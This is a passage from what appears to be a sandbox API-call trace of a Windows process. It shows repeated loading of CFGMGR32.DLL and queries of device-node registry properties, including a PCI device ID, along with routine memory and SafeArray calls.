(hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.429] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.429] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.429] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.429] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.429] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.429] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.430] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.430] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.430] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.430] malloc (_Size=0x18) returned 0x196ef0d1f80 [0229.430] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x2f, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0229.430] malloc (_Size=0x48) returned 0x196ef0fbc20 [0229.431] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x699ae6f2, dwHighDateTime=0x1d9eb0c)) [0229.431] SetEvent (hEvent=0x248) returned 1 [0229.435] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.435] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.435] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.435] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.435] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.436] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.436] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.436] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.436] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.436] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.436] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.436] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.437] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.437] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.437] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.437] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.437] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.485] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.485] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.485] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.486] malloc (_Size=0x18) returned 0x196ef0d1960 [0229.486] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2f, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0229.487] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0229.487] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x69a47171, dwHighDateTime=0x1d9eb0c)) [0229.487] SetEvent (hEvent=0x248) returned 1 [0229.492] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.493] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.495] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.496] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.497] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.497] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.497] malloc (_Size=0x18) returned 0x196ef0d1fe0 [0229.497] CM_Get_Device_IDA (in: dnDevInst=0x30, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_10D3&SUBSYS_00008086&REV_00\\3&11583659&0&30") returned 0x0 [0229.497] malloc (_Size=0x48) returned 0x196ef0fb220 [0229.497] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x69a47171, dwHighDateTime=0x1d9eb0c)) [0229.497] SetEvent (hEvent=0x248) returned 1 [0229.568] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.568] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.568] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.568] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.571] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.571] malloc (_Size=0x18) returned 0x196ef0d20a0 [0229.571] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0229.572] malloc (_Size=0x124) returned 0x196ef0d67b0 [0229.572] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608) returned 0x0 [0229.573] free (_Block=0x196ef0d67b0) [0229.573] malloc (_Size=0x48) returned 0x196ef0fbe00 [0229.573] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x69b05c81, dwHighDateTime=0x1d9eb0c)) [0229.573] SetEvent (hEvent=0x248) returned 1 [0229.575] malloc (_Size=0x18) returned 0x196ef0d1c00 [0229.575] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0229.575] free (_Block=0x196ef0d1c00) [0229.576] malloc (_Size=0x18) returned 0x196ef0d20c0 [0229.576] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0229.576] free (_Block=0x196ef0d20c0) [0229.576] malloc (_Size=0x18) returned 0x196ef0d1e60 [0229.576] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0229.576] free (_Block=0x196ef0d1e60) [0229.576] malloc (_Size=0x18) returned 0x196ef0d1c80 [0229.576] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0229.576] free (_Block=0x196ef0d1c80) [0229.576] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855960 [0229.576] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0229.576] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0229.576] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0229.576] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa680 [0229.576] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0229.576] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0229.577] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0229.577] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0229.577] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa650, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0229.577] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa658, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0229.578] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa660, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0229.578] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa668, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0229.579] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa680) returned 1 [0229.579] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855960) returned 1 [0229.580] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.580] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.583] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.583] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.583] malloc (_Size=0x18) returned 0x196ef0d20e0 [0229.583] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0229.583] malloc (_Size=0x10e) returned 0x196ef0d67b0 [0229.583] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608) returned 0x0 [0229.584] free (_Block=0x196ef0d67b0) [0229.584] malloc (_Size=0x48) returned 0x196ef0fc120 [0229.584] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x69b2bf80, dwHighDateTime=0x1d9eb0c)) [0229.584] SetEvent (hEvent=0x248) returned 1 [0229.587] malloc (_Size=0x18) returned 0x196ef0d1da0 [0229.587] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0229.587] free (_Block=0x196ef0d1da0) [0229.587] malloc (_Size=0x18) returned 0x196ef0d1e60 [0229.587] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0229.587] free (_Block=0x196ef0d1e60) [0229.587] malloc (_Size=0x18) returned 0x196ef0d1b00 [0229.587] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0229.587] free (_Block=0x196ef0d1b00) [0229.587] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0229.587] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0229.587] free (_Block=0x196ef0d1ec0) [0229.588] malloc (_Size=0x18) returned 0x196ef0d19a0 [0229.588] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0229.588] free (_Block=0x196ef0d19a0) [0229.588] malloc (_Size=0x18) returned 0x196ef0d1a20 [0229.588] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0229.588] free (_Block=0x196ef0d1a20) [0229.588] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0229.588] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7c7678) returned 0x0 [0229.588] free (_Block=0x196ef0d1ca0) [0229.588] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855ee0 [0229.588] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0229.588] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0229.588] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0229.588] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0229.588] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0229.589] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0229.589] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0229.589] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0229.589] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2560, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0229.590] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2568, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0229.590] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2570, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0229.590] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2578, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0229.590] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2580, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0229.590] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2588, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0229.591] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2590, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0229.592] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0229.592] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855ee0) returned 1 [0229.593] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.593] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.593] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.594] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.594] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.594] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.594] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.594] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.594] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.595] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.595] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.595] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.595] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.595] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.595] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.595] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.595] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.596] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0229.596] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0229.596] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0229.596] malloc (_Size=0x18) returned 0x196ef0d2060 [0229.596] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x30, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0229.600] malloc (_Size=0x48) returned 0x196ef0fb5e0 [0229.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x69b52649, dwHighDateTime=0x1d9eb0c)) [0229.601] SetEvent (hEvent=0x248) returned 1 [0229.605] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0229.605] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0229.605] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0229.605] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0229.605] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0229.605] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0229.605] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0229.606] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0229.606] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0229.606] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0229.606] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0229.606] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0229.606] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0229.606] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0229.606] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0229.607] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0229.607] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0229.607] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0229.607] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0229.607] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0229.607] GetProcAddress 